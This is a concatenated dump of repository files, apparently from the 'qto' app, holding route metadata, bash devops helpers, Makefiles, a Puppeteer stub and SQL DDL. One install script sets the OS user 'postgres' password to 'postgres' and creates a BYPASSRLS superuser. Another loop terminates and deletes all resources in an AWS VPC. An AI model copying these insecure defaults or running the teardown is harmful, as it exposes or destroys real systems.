4de2af7f-d23e-4f3c-a3e1-b84101cbf506 200228153439 1 f f t t hidelete The deletion of hierarchical row in the db 2020-05-13 17:28:08 3f651cb4-0702-4dc6-8368-a1c7d1e45ba0 200228080425 1 f f t t delete the DELETE route tells the qto Application Layer to delete a row in an item table from DELETE request provided json data 2020-05-13 17:28:08 03432642-6bcd-4bbc-bc39-674062e4403f 200228080115 1 f f t t select The SELECT route tells the qto Application Layer to select the data of an item in json data format ( aka qto api compliant table ) 2020-05-13 17:28:08 8799afd6-5852-4e6d-a5e9-e8f8b07e23d4 200228153347 1 f f t t hicreate The creation of a hierarchical row in the db 2020-05-13 17:28:08 b2a70ed6-e7d0-42ce-8e61-9138031a0e23 200228080331 1 f f t t update The UPDATE route tells the qto Application Layer to update a single value in a row of an item table from POST request provided json data 2020-05-13 17:28:08 e0f2627a-e395-4f4a-a01a-793a2dde8bc8 200228153603 1 f f t f view The viewing of a hierarchichal item in the view doc UI 2020-05-13 17:28:08 ff5202c2-aebf-4007-af6d-e287addb8f93 200228153538 1 f f t t export The export of data for an item , for example export as xls 2020-05-13 17:28:08 891ef0ee-bbf5-41c9-82d4-cfbb5982a59a 200228080240 1 f f t t create The CREATE route tells the qto Application Layer to create a row in an item table from POST request with json data 2020-05-13 17:28:08 05a29477-e337-4f63-8003-38a0f0ba4c01 200403234321 1 f f t t call-func the back-end call of the report route° 2020-05-13 17:28:08 e8b82d1b-fbd9-4a55-9119-2e757ec48bb9 200228153215 1 f f t t hiselect The hiselect selects a hierarchical data from a hierarchichal table 2020-05-13 17:28:08 8b4aed40-bd21-431e-bc5c-a491177e05fb 200228153323 1 t t f f login The login route provides the login functionality 2020-05-13 19:18:01 77096ddd-4eb4-4dfb-ac13-2ad20a041e19 200404002417 1 t t f t select tables lists all the tables in the project database 2020-05-13 19:15:55 e98492e3-73f4-4d82-86c6-1abc8174a0ac 200228080729 1 f t f t query The QUERY route tells the qto Application Layer to display the search results in json data format, produced by querying all the item tables in the db 2020-05-13 19:16:23 6dc3375f-781b-4d4f-8196-f18e1a75cc5c 200228153308 1 t t f f logon The Logon routes logs on a user 2020-05-13 19:18:15 1ec738f2-865c-433d-b5a0-6f5e67882659 200228080606 1 f t f f search The SEARCH route tells the qto Application Layer to display the search results in the qto UI, produced by querying all the item tables in the db 2020-05-13 19:15:58 0f34e0b1-743c-4ad5-a391-f8f7a119a9b6 200403233318 1 t t t t serve The routes serving errors and warnings from redirects such as 403 forbidden 2020-05-13 19:15:26 e7506dcd-3c2d-4b44-a126-45cd47deb8a0 200502002643 1 f f t t select-my select only the records belonging to the logged in user 2020-05-13 19:15:34 cc2ae685-01f8-4375-ae15-cf48b9b54e49 200228153513 1 f t t t select-item-meta-for The retrieval of the meta-data for an item 2020-05-13 19:15:38 81167627-8853-4ca1-ae9e-171890e80098 200309203853 1 f f t f report The route used for calling reports ( which are postgres result set returning functions) 2020-05-13 19:16:02 9b6dbcd5-da0d-4d36-be4c-e1944dd03d94 200403234539 1 t t f t select-databases list the databases in the configured postgres server to the AL 2020-05-13 19:15:45 07c0cbb7-07e4-477e-8ec3-d80e76a2ab3c 200502002514 1 f f t f list-my list only the records belonging to the logged in user 2020-05-13 19:16:39 15b6523e-8e2c-45bf-bcc4-13bc8da1bf86 200228055434 1 f f t f list The LIST route tells the qto Application Layer to list in the qto UI the content of an item ( aka qto api compliant table ) 2020-05-13 19:17:13 1854a713-d29e-4abd-9c29-0b27d08ebea2 200513223249 1 f f t t select-col selects ONLY a single column from a table ... 2020-05-13 19:33:40 \. <file_sep>#!/usr/bin/env bash usage(){ echo provide the PROJ_CONF_FILE as the first cmd arg - \$1 echo source $0 ~/opt/csitea/[email protected]/cnf/env/prd.env.json } do_set_vars(){ set -eu -o pipefail shopt -s expand_aliases # src: http://chiefsandendians.blogspot.com/2010/07/linux-scripts-and-alias.html original_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") export product_dir=$(cd $original_dir; echo `pwd`) cd $product_dir } main(){ do_set_vars test -z ${1:-} && usage test -z ${1:-} || { export PROJ_CONF_FILE=$1 export PROJ_INSTANCE_DIR=$(cd `dirname $PROJ_CONF_FILE`/../..; echo `pwd`) source $product_dir/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.db'; do_flush_screen sleep 1 alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} --port $postgres_rdbms_port --host $postgres_rdbms_host" alias|sort ; sleep 1 ; do_flush_screen } } main "$@" #Action !!! <file_sep>#!/usr/bin/env bash original_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") # Add the PostgreSQL PGP key to verify their Debian packages. # It should be the same key as https://www.postgresql.org/media/keys/ACCC4CF8.asc wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - # add the PostgreSQL's repository sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main"' \ > /etc/apt/sources.list.d/pgdg.list # add the most basic binaries apt-get clean && apt-get update && apt-get install -f -y postgresql-server-dev-11 postgresql-client-11 postgresql-contrib-11 ## ensure the postresql starts on boot sudo update-rc.d postgresql enable mkdir -p /etc/postgresql/11/main/ mkdir -p /var/lib/postgresql/11/main echo "postgres:postgres" | chpasswd echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /var/lib/postgresql/.bashrc ## add the uuid generation capability enabling extensions /etc/init.d/postgresql restart sudo -u postgres psql -c "CREATE USER usrqtoadmin WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '<PASSWORD>';" sudo -u postgres psql -c "grant all privileges on database postgres to usrqtoadmin ;" sudo -u postgres createdb -O postgres postgres sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "uuid-ossp";' sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "pgcrypto";' sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "dblink";' psql_cnf_dir='/etc/postgresql/11/main' test -f $psql_cnf_dir/pg_hba.conf && \ sudo cp -v $psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf.orig.bak && \ sudo cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf && \ sudo chown postgres:postres $psql_cnf_dir test -f $psql_cnf_dir/postgresql.conf && \ sudo cp -v $psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf.orig && \ sudo cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf chown -R postgres:postgres "/etc/postgresql" && \ chown -R postgres:postgres "/var/lib/postgresql" && \ chown -R postgres:postgres "/etc/postgresql/11/main/pg_hba.conf" && \ chown -R postgres:postgres "/etc/postgresql/11/main/postgresql.conf" <file_sep>doPublishDbdumpToS3(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.aws' dump_file="$(find $PROJ_INSTANCE_DIR/dat/mix/ -type f -name '*.insrts.dmp.sql'|sort -nr|head -n 1)" dump_file_name=$(basename $dump_file) export AWS_DEFAULT_PROFILE='default' aws configure list # remove the grants to disable full publicity of the data ... set +x aws s3 --profile default cp "$dump_file" "s3://$bucket/$postgres_app_db"'.latest.insrts.dmp.sql' set -x cat << EOF IF error occurs check that your aws credentials file ~/.aws/credentials looks as follws sudo ntpdate ntp.ubuntu.com cat ~/.aws/credentials [default] aws_access_key_id = <KEY> aws_secret_access_key = <KEY> EOF } <file_sep> EXECUTE format( 'REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM %I' , current_setting('myvars.postgres_app_usr', true)::text , current_setting('myvars.postgres_app_usr_pw', true)::text ); EXECUTE format( 'REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM %I' , current_setting('myvars.postgres_app_usr', true)::text , current_setting('myvars.postgres_app_usr_pw', true)::text ); EXECUTE format( 'REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM %I' , current_setting('myvars.postgres_app_usr', true)::text , current_setting('myvars.postgres_app_usr_pw', true)::text ); EXECUTE format( 'REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM %I' , current_setting('myvars.postgres_app_usr', true)::text , current_setting('myvars.postgres_app_usr_pw', true)::text ); EXECUTE format( 'REASSIGN OWNED BY %I TO postgres;' , current_setting('myvars.postgres_app_usr', true)::text ); EXECUTE format( 'DROP OWNED BY %I CASCADE' , current_setting('myvars.postgres_app_usr', true)::text ); <file_sep>#!/bin/bash do_delete_aws_vpc(){ test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.aws' export AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION # probably a buggy one but just to get you start with something # ensure your default output is json + you have default region ... aws ec2 describe-internet-gateways --filters 'Name=attachment.vpc-id,Values='$vpc_id \ | jq -r ".InternetGateways[].InternetGatewayId" # terminate all vpc instances while read -r instance_id ; do aws ec2 terminate-instances --instance-ids $instance_id done < <(aws ec2 describe-instances --filters 'Name=vpc-id,Values='$vpc_id \ | jq -r '.Reservations[].Instances[].InstanceId') while read -r sg ; do aws ec2 delete-security-group --group-id $sg done < <(aws ec2 describe-security-groups --filters 'Name=vpc-id,Values='$vpc_id \ | jq -r '.SecurityGroups[].GroupId') # delete all vpc subnets while read -r subnet_id ; do aws ec2 delete-subnet --subnet-id "$subnet_id" done < <(aws ec2 describe-subnets --filters 'Name=vpc-id,Values='$vpc_id | jq -r '.Subnets[].SubnetId') # delete all vpc route tables while read -r rt_id ; do aws ec2 delete-route-table --route-table-id $rt_id ; done < <(aws ec2 describe-route-tables --filters 'Name=vpc-id,Values='$vpc_id | \ jq -r .RouteTables[].RouteTableId) # detach first all vpc internet gateways while read -r ig_id ; do aws ec2 detach-internet-gateway --internet-gateway-id $ig_id --vpc-id $vpc_id done < <(aws ec2 describe-internet-gateways --filters 'Name=attachment.vpc-id,Values='$vpc_id \ | jq -r ".InternetGateways[].InternetGatewayId") # delete than all vpc internet gateways while read -r ig_id ; do aws ec2 delete-internet-gateway --internet-gateway-id $ig_id --vpc-id $vpc_id done < <(aws ec2 describe-internet-gateways --filters 'Name=attachment.vpc-id,Values='$vpc_id \ | jq -r ".InternetGateways[].InternetGatewayId") # attempt to the delete the whole vpc aws ec2 delete-vpc --vpc-id=$vpc_id aws ec2 describe-internet-gateways --filters 'Name=attachment.vpc-id,Values='$vpc | grep InternetGatewayId aws ec2 describe-subnets --filters 'Name=vpc-id,Values='$vpc | grep SubnetId aws ec2 describe-route-tables --filters 'Name=vpc-id,Values='$vpc | grep RouteTableId aws ec2 describe-network-acls --filters 'Name=vpc-id,Values='$vpc | grep NetworkAclId aws ec2 describe-vpc-peering-connections --filters 'Name=requester-vpc-info.vpc-id,Values='$vpc | grep VpcPeeringConnectionId aws ec2 describe-vpc-endpoints --filters 'Name=vpc-id,Values='$vpc | grep VpcEndpointId aws ec2 describe-nat-gateways --filter 'Name=vpc-id,Values='$vpc | grep NatGatewayId aws ec2 describe-security-groups --filters 'Name=vpc-id,Values='$vpc | grep GroupId aws ec2 describe-instances --filters 'Name=vpc-id,Values='$vpc | grep InstanceId aws ec2 describe-vpn-connections --filters 'Name=vpc-id,Values='$vpc | grep VpnConnectionId aws ec2 describe-vpn-gateways --filters 'Name=attachment.vpc-id,Values='$vpc | grep VpnGatewayId aws ec2 describe-network-interfaces --filters 'Name=vpc-id,Values='$vpc | grep NetworkInterfaceId # while read -r key_pair_id; do # aws echo ec2 delete-key-pair --key-name $key_pair_id ; # done < <(aws ec2 describe-key-pairs | jq -r '.[] | .[] | .KeyPairId') } <file_sep># todo # eof file: src/make/local-setup-tasks.incl.mk <file_sep># src/bash/qto/funcs/run-data-load-tests.func.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/funcs/run-data-load-tests.func.txt # --------------------------------------------------------- doRunDataLoadTests(){ do_log "DEBUG START doRunDataLoadTests" do_log "INFO START test the Select Controller " do_log " $postgres_app_db/select-tables" do_log " $postgres_app_db/select/<<table-name>>" test_script='src/perl/qto/t/lib/Qto/App/benchmarks/LoadTestSelect.t' do_log "INFO START $test_script" perl src/perl/qto/t/lib/Qto/Controller/LoadTestSelect.pl test $? -ne 0 && return do_log "INFO STOP $test_script" echo -e "\n\n\n" do_log "DEBUG STOP doRunDataLoadTests" } # eof func doRunDataLoadTests # eof file: src/bash/qto/funcs/run-data-load-tests.func.sh <file_sep># src/bash/qto/funcs/db-to-gsheet.func.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/funcs/db-to-gsheet.func.txt # --------------------------------------------------------- doDbToGsheet(){ do_log "DEBUG START doDbToGsheet" sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "INFO START testing db-to-gsheet" test -z ${tables+x} && export tables='daily_issues' perl src/perl/qto/script/qto.pl --do db-to-gsheet --tables $tables exit_code=$? do_log "INFO doRunQto exit_code $exit_code" test $exit_code -ne 0 && do_exit $exit_code "failed to run qto.pl" do_log "DEBUG STOP doDbToGsheet" } # eof func doDbToGsheet # eof file: src/bash/qto/funcs/db-to-gsheet.func.sh <file_sep># src/bash/qto/funcs/remove-package.func.sh # v1.0.9 # --------------------------------------------------------- # todo: add doRemovePackage comments ... # --------------------------------------------------------- doRemovePackage(){ do_log "DEBUG START doRemovePackage" cat doc/txt/qto/tmpl/remove-package.func.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doRemovePackage" } # eof func doRemovePackage # eof file: src/bash/qto/funcs/remove-package.func.sh <file_sep>/** * usage: cd src/js/node/pp-ui-tests/ ; npm install puppeteer; cd - cd src/js/node/pp-ui-tests/ ; npm run ; cd - cd src/js/node/pp-ui-tests/ ; node test-open-login.js; cd - cd src/js/node/pp-ui-tests/ ; npm test; cd - * @name open the login page * * @desc Gets the value of commonly used HTML form elements using page.$eval() * chk also: * src/js/node/pp-ui-tests/package.json * */ const puppeteer = require('puppeteer'); const { expect } = require('chai'); const _ = require('lodash'); const globalVariables = _.pick(global, ['browser', 'expect']); // puppeteer options const opts = { headless: false, slowMo: 100, timeout: 10000 }; // expose variables before (async function () { global.expect = expect; global.browser = await puppeteer.launch(opts); }); // close browser and reset global variables after (function () { browser.close(); global.browser = globalVariables.browser; global.expect = globalVariables.expect; }); describe('sample test', function () { it('should work', async function () { console.log(await browser.version()); expect(true).to.be.true; }); }); <file_sep># usage example # install-the-bot: demand_var-ENV demand_var-TGT_ORG do-build-$(component)-docker-img demand_var-%: @if [ "${${*}}" = "" ]; then \ echo "the var \"$*\" is not set, do set it by: export $*='value'"; \ exit 1; \ fi # function usage example # install-the-bot: # $(call demand-var,ENV) # $(call demand-var,TGT_ORG) # do-build-$(component)-docker-img define demand-var @if [ "${${1}}" = "" ]; then \ echo "the var \"$1\" is not set, do set it by: export $1='value'"; \ exit 1; \ fi endef <file_sep># src/bash/qto/funcs/increase-date.test.sh doTestIncreaseDate(){ set -eu sleep "$sleep_interval" bash src/bash/qto/qto.sh -a increase-date test $exit_code -ne 0 && return } <file_sep>doScrambleConfs(){ eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib) while read -r file ; do cp -v $file $file.bak script=$(cat <<'EOF' use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer; sub rndStr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $sjson; { local $/; #Enable 'slurp' mode open my $fh, "<", $ARGV[0]; $sjson = <$fh>; close $fh; } my $data = decode_json($sjson); #p $data ; # basically scramble the passwords $data->{'env'}->{'aws'}->{'AWS_ACCESS_KEY_ID'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'aws'}->{'AWS_SECRET_ACCESS_KEY'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'postgres_usr_pw'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'postgres_rdbms_usr_pw'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'postgres_app_usr_pw'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'postgres_sys_usr_admin_pw'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'app_user_pwd'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; $data->{'env'}->{'db'}->{'AdminEmail'} = rndStr 12, 'A'..'Z', 0..9, 'a'..'z' ; my $json = JSON->new->allow_nonref; open my $fh, ">", $ARGV[0]; print $fh $json->pretty->encode($data); close $fh; EOF ) perl -e "$script" $file git add $file done < <(find cnf/env/ -type f| grep -v '.bak') } <file_sep>do_configure_aws_keys(){ # set up confs source $PRODUCT_DIR/.env ; ENV=$ENV test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PRODUCT_DIR/cnf/env/$ENV.env.json" source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_CONF_FILE '.env.aws' mkdir -p ~/.aws/ cat << EOF_AWS | tee ~/.aws/credentials [default] aws_access_key_id = $AWS_ACCESS_KEY_ID aws_secret_access_key = $AWS_SECRET_ACCESS_KEY EOF_AWS } <file_sep># src/make/install-dockers.func.mk # only the install dockers calls here ... # TODO: figure a more elegant and generic way to avoid this copy paste ... # SHELL = bash PRODUCT := $(shell basename $$PWD) TGT_ORG := $(shell export TGT_ORG=$${TGT_ORG:-csitea}; echo $${TGT_ORG}) .PHONY: install-devops ## @-> setup the whole local devops environment install-devops: $(call install-img,devops,3000) <file_sep># file: src/bash/qto/funcs/mojo-hypnotoad-stop.func.sh # # --------------------------------------------------------- # cat doc/txt/qto/funcs/mojo-hypnotoad-stop.func.txt # --------------------------------------------------------- doMojoHypnotoadStop(){ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' test -z "${mojo_hypnotoad_port:-}" && export mojo_hypnotoad_port=8080 # try nicely first to stop the hypnotoad worker processes while read -r child_of_1_pid; do echo the child_of_1_pid : $child_of_1_pid while read -r listening_on_port_pid; do echo and the listening_on_port_pid: $listening_on_port_pid while read -r pid_to_stop; do echo trying first to stop gracefully the following pid_to_sop $pid_to_stop; sudo kill -3 $pid_to_stop # try nicely first done < <(ps -ef | grep $child_of_1_pid|grep $RUN_UNIT |grep -v grep|awk '{print $2}'); done < <(lsof -i:${mojo_hypnotoad_port:-} -t|grep $child_of_1_pid) done < <(pgrep -P 1) # no more nice guy .. - kill those which did not stop ... while read -r child_of_1_pid; do while read -r listening_on_port_pid; do while read -r pid_to_kill; do echo trying then to kill the following pid_to_kill $pid_to_kill; sudo kill -9 $pid_to_kill # try forcefully then ... done < <(ps -ef | grep $child_of_1_pid|grep $RUN_UNIT |grep -v grep|awk '{print $2}'); done < <(lsof -i:${mojo_hypnotoad_port:-} -t|grep $child_of_1_pid) done < <(pgrep -P 1) sudo service nginx stop } <file_sep>#!/usr/bin/env bash curr_branch=$(git rev-parse --abbrev-ref HEAD) test "$curr_branch" = 'dev' && echo 'ARE YOU SURE !!! PUSHING TO dev !!!!' test "$curr_branch" = 'dev' && sleep 5 test "$curr_branch" = 'tst' && echo 'ARE YOU SURE !!! PUSHING TO tst !!!!' test "$curr_branch" = 'tst' && sleep 5 test "$curr_branch" = 'prd' && echo 'ARE YOU SURE !!! PUSHING TO prd !!!!' test "$curr_branch" = 'prd' && sleep 5 test "$curr_branch" = 'master' && echo 'ARE YOU SURE !!! PUSHING TO master !!!!' test "$curr_branch" = 'master' && sleep 5 echo "checking for own todo left-overs ... ""$(grep --exclude-dir '.git' -ri 'todo:ysg' . | grep -v 'pre-commit' | wc -l)"" found." grep --exclude-dir '.git' -rnHi 'todo:ysg' . | grep -v 'pre-commit' sleep 2 exit 0 # exit $(grep -ri 'todo:ysg' . | grep -v 'pre-commit' | wc -l) <file_sep># src/bash/qto/funcs/remove-package-files.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestRemovePackageFiles comments ... # --------------------------------------------------------- doTestRemovePackageFiles(){ do_log "DEBUG START doTestRemovePackageFiles" cat doc/txt/qto/tests/remove-package-files.test.txt test -z "$sleep_interval" || sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doTestRemovePackageFiles" } # eof func doTestRemovePackageFiles # eof file: src/bash/qto/funcs/remove-package-files.test.sh <file_sep>---- DROP TABLE IF EXISTS test_update_table CASCADE ; SELECT 'create the "test_update_table" table' ; -- src: http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/ CREATE TABLE test_update_table ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , seq integer NULL , name varchar (200) NOT NULL DEFAULT 'name...' , password varchar (200) NULL , description varchar (4000) , CONSTRAINT pk_test_update_table_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_update_table'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep>-- START create table test_hierarchy_doc -- DROP TABLE IF EXISTS test_hierarchy_doc ; SELECT 'create the "test_hierarchy_doc" table' as "---" ; -- src: http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/ CREATE TABLE test_hierarchy_doc ( guid UUID NOT NULL DEFAULT gen_rANDom_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , level integer NULL , seq integer NULL , lft integer NULL , rgt integer NULL , name varchar (200) NOT NULL DEFAULT 'name...' , description varchar (4000) NULL , src varchar (4000) NULL , formats text NULL , CONSTRAINT pk_test_hierarchy_doc_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); -- STOP create table test_hierarchy_doc -- -------------------------------------------------------- SELECT 'Display the columns of the just created table' as "---" ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_hierarchy_doc'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; TRUNCATE TABLE test_hierarchy_doc ; INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 0 ,0,1 ,1,23,'name-01 0.0.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 1 ,1,2 ,2,9,'name-02 1.0.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 2 ,2,3 ,3,8,'name-03 1.1.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 3 ,3,4 ,4,5,'name-04 1.1.1'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 4 ,3,5 ,6,7,'name-05 1.1.2'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 5 ,1,6 ,10,13,'name-06 2.0.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 6 ,2,7 ,11,12,'name-07 2.1.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 7 ,1,8 ,14,23,'name-08 3.0.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 8 ,2,9 ,15,16,'name-09 3.1.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 9 ,2,10,17,22,'name-10 3.2.0'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 10,3,11,18,21,'name-11 3.2.1'); INSERT into test_hierarchy_doc ( id,level,seq,lft,rgt,name ) values ( 11,4,12,19,20,'name-12 3.2.1.1'); SELECT * FROM test_hierarchy_doc ORDER BY seq ; SELECT 'retrieve the full branch from the parent id with sequence eq to 1' as "---" ; SELECT * FROM ( SELECT node.* FROM test_hierarchy_doc AS node, test_hierarchy_doc AS parent WHERE 1=1 AND node.lft BETWEEN parent.lft AND parent.rgt AND parent.seq = 1) AS dyn_sql WHERE 1=1 ORDER BY seq ; SELECT 'retrieve the full branch from the parent id with sequence eq to 2' as "---" ; SELECT * FROM ( SELECT node.* FROM test_hierarchy_doc AS node, test_hierarchy_doc AS parent WHERE 1=1 AND node.lft BETWEEN parent.lft AND parent.rgt AND parent.seq = 2) AS dyn_sql WHERE 1=1 ORDER BY seq ; SELECT 'retrieve the full branch from the parent id with sequence eq to 6' as "---" ; SELECT * FROM ( SELECT node.* FROM test_hierarchy_doc AS node, test_hierarchy_doc AS parent WHERE 1=1 AND node.lft BETWEEN parent.lft AND parent.rgt AND parent.seq = 6) AS dyn_sql WHERE 1=1 ORDER BY seq ; SELECT 'retrieve the full branch from the parent id with sequence eq to 8' as "---" ; SELECT * FROM ( SELECT node.* FROM test_hierarchy_doc AS node, test_hierarchy_doc AS parent WHERE 1=1 AND node.lft BETWEEN parent.lft AND parent.rgt AND parent.seq = 8) AS dyn_sql WHERE 1=1 ORDER BY seq ; <file_sep># src/bash/qto/funcs/clone-project.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestCloneProject comments ... # --------------------------------------------------------- doTestCloneProject(){ do_log "DEBUG START doTestCloneProject" cat doc/txt/qto/tests/clone-project.test.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doTestCloneProject" } # eof func doTestCloneProject # eof file: src/bash/qto/funcs/clone-project.test.sh <file_sep># src/bash/qto/funcs/run-functional-tests.test.sh # v1.2.9 # --------------------------------------------------------- # cat doc/txt/qto/tests/perl/run-functional-tests.test.txt # --------------------------------------------------------- doTestRunFunctionalTests(){ do_log "DEBUG START doTestRunFunctionalTests" sleep "$sleep_interval" # Action !!! bash src/bash/qto/qto.sh -a run-functional-tests do_log "DEBUG STOP doTestRunFunctionalTests" } # eof func doTestRunFunctionalTests # eof file: src/bash/qto/funcs/run-functional-tests.test.sh <file_sep>CREATE TABLE app_instance_releases ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , app_ver varchar (10) NOT NULL DEFAULT '0.0.0' , app_git_ref varchar (9) NOT NULL DEFAULT '' , db_ver varchar (10) NOT NULL DEFAULT '0.0.0' , db_git_ref varchar (9) NOT NULL DEFAULT '' , env varchar (3) NOT NULL DEFAULT 'dev' , proj_db_name varchar (20) NOT NULL DEFAULT 'qto' , dns_name varchar (20) NOT NULL DEFAULT 'qto.fi' , name varchar (200) NOT NULL DEFAULT 'release title ...' , description varchar (4000) NOT NULL DEFAULT 'release description add links to issues etc.' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_instance_releases_guid PRIMARY KEY (guid) ); CREATE UNIQUE INDEX idx_uniq_app_instance_releases_id ON app_instance_releases (id); -- \echo 'List columns of the created table app_instance_releases' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_instance_releases'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_instance_releases BEFORE UPDATE ON app_instance_releases FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_instance_releases'::regclass;
23d7089482c1ab749cd8f53de071e55e83396259
[ "SQL", "Ruby", "Markdown", "JavaScript", "Makefile", "Python", "Text", "Dockerfile", "Shell" ]
267
SQL
YordanGeorgiev/qto
803d347330944899bdcb138b06a96c6ba1f02de0
35beeb953cc9673b9420f2b0a7ddb257df2fc222
refs/heads/master
<file_sep># e-valuation-system<file_sep>-- phpMyAdmin SQL Dump -- version 4.8.3 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Jun 28, 2020 at 12:46 AM -- Server version: 10.1.35-MariaDB -- PHP Version: 7.2.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `minor` -- -- -------------------------------------------------------- -- -- Table structure for table `admin` -- CREATE TABLE `admin` ( `id` int(11) NOT NULL, `username` varchar(20) COLLATE utf8_bin NOT NULL, `password` varchar(30) COLLATE utf8_bin NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- -- Dumping data for table `admin` -- INSERT INTO `admin` (`id`, `username`, `password`) VALUES (1, 'admin', '<PASSWORD>'), (4, 'root', '<PASSWORD>'); -- -------------------------------------------------------- -- -- Table structure for table `files` -- CREATE TABLE `files` ( `studentid` varchar(20) COLLATE utf8_bin NOT NULL, `teacherid` varchar(20) COLLATE utf8_bin NOT NULL, 